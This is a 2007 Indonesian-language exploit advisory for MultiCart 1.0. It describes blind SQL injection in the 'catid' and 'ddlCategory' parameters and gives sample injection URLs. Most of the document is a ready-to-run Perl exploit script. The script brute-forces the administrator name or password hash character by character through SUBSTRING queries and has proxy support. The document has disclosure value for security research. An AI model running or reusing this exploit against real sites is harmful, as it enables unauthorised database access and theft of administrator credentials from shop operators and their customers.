multicart-sql.txt

`# Indonesian Newhack Security Advisory  
# ------------------------------------  
# MultiCart 1.0 Remote Blind SQL Injection  
# Waktu : Sep 30 2007 02:00AM  
# Software : MultiCart 1.0  
# Vendor : http://www.iscripts.com/multicart/  
# Ditemukan oleh : k1tk4t | http://newhack.org  
# Lokasi : Indonesia  
#  
# ----  
# /categorydetail.php?catid=[BLIND SQLI]  
# parameter "catid" pada categorydetail.php tidak terfilter dengan baik,   
# sehingga mengizinkan penyerang untuk memanipulasi SQL query pada parameter "catid"  
# contoh ;   
# http://localhost/categorydetail.php?catid=1'AND 1=1/*  
# http://localhost/categorydetail.php?catid=1'AND 1=2/*  
# ----  
# /search.php?chkProductName=on&chkIncludeSubcategories=on&sd=1&txtSearch=&ddlCategory=[BLIND SQLI]  
# parameter "ddlCategory" pada search.php tidak terfilter dengan baik,   
# sehingga mengizinkan penyerang untuk memanipulasi SQL query pada parameter "ddlCategory"  
# contoh ;   
# http://localhost/search.php?chkProductName=on&chkIncludeSubcategories=on&sd=1&txtSearch=&ddlCategory=1 AND 1=2   
# http://localhost/search.php?chkProductName=on&chkIncludeSubcategories=on&sd=1&txtSearch=&ddlCategory=1 AND 1=1  
# ----  
#  
# Terima Kasih untuk;  
# str0ke, DNX, xoron  
# nyubi,iFX,kin9k0ng,bius,selikoer,aldy_BT  
# Komunitas Security dan Hacker Indonesia  
# -[opt1lc, fl3xu5, ghoz]- yang telah memberikan nuansa baru untuk Newhack  
#  
#!/usr/bin/perl  
use LWP::UserAgent;  
use Getopt::Long;  
  
if(!$ARGV[1])  
{  
print "\n |-------------------------------------------------|";  
print "\n | Indonesian Newhack Technology |";  
print "\n |-------------------------------------------------|";  
print "\n | MultiCart 1.0 (search.php) Blind SQL Injection |";  
print "\n | Found by k1tk4t [k1tk4t(at)newhack.org] |";  
print "\n | DNX Code [dnx(at)hackermail.com] | Modified |";  
print "\n |-------------------------------------------------|";  
print "\n[!] ";  
print "\n[!] Bug: in the search.php script, u can inject sql code in the (ddlCategory) parameter";  
print "\n[!] Usage: perl multicart.pl [Host] [Path] <Options>";  
print "\n[!] Example: perl multicart.pl 127.0.0.1 /cart/ -c 10 -o 1 -t multicart_config";  
print "\n[!] Options:";  
print "\n -c [no] Valid ddlCategory Search, default is 1";  
print "\n -o [no] 1 = get admin name (default)";  
print "\n 2 = get admin password";  
print "\n -t [name] Changes the settings table name, default is multicart_settings";  
print "\n -p [ip:port] Proxy support";  
print "\n";  
exit;  
}  
  
my $host = $ARGV[0];  
my $path = $ARGV[1];  
my $cat = 1;  
my $column = "admin_name";  
my $table = "multicart_settings";  
my %options = ();  
GetOptions(\%options, "c=i", "o=i", "t=s", "p=s");  
  
print "[!] Exploiting...\n";  
  
if($options{"c"}) { $cat = $options{"c"}; }  
if($options{"o"} && $options{"o"} == 2) { $column = "admin_password"; }  
if($options{"t"}) { $table = $options{"t"}; }  
  
syswrite(STDOUT, "[!] Data : ", 12);  
  
for(my $i = 1; $i <= 32; $i++)  
{  
my $found = 0;  
my $h = 48;  
while(!$found && $h <= 57)  
{  
if(istrue2($host, $path, $table, $i, $h))  
{  
$found = 1;  
syswrite(STDOUT, chr($h), 1);  
}  
$h++;  
}  
if(!$found)  
{  
$h = 97;  
while(!$found && $h <= 122)  
{  
if(istrue2($host, $path, $table, $i, $h))  
{  
$found = 1;  
syswrite(STDOUT, chr($h), 1);  
}  
$h++;  
}  
}  
}  
  
print "\n[!] Exploit done\n";  
  
sub istrue2  
{  
my $host = shift;  
my $path = shift;  
my $table = shift;  
my $i = shift;  
my $h = shift;  
  
my $ua = LWP::UserAgent->new;  
my $url = "http://".$host.$path."search.php?chkProductName=on&chkIncludeSubcategories=on&sd=1&txtSearch=&ddlCategory=".$cat."%20AND%20SUBSTRING((SELECT%20".$column."%20FROM%20".$table."%20LIMIT%200,1),".$i.",1)=CHAR(".$h.")";  
  
if($options{"p"})  
{  
$ua->proxy('http', "http://".$options{"p"});  
}  
  
my $response = $ua->get($url);  
my $content = $response->content;  
my $regexp = "navigate";  
  
if($content =~ /$regexp/)  
{  
return 1;  
}  
else  
{  
return 0;  
}  
}  
`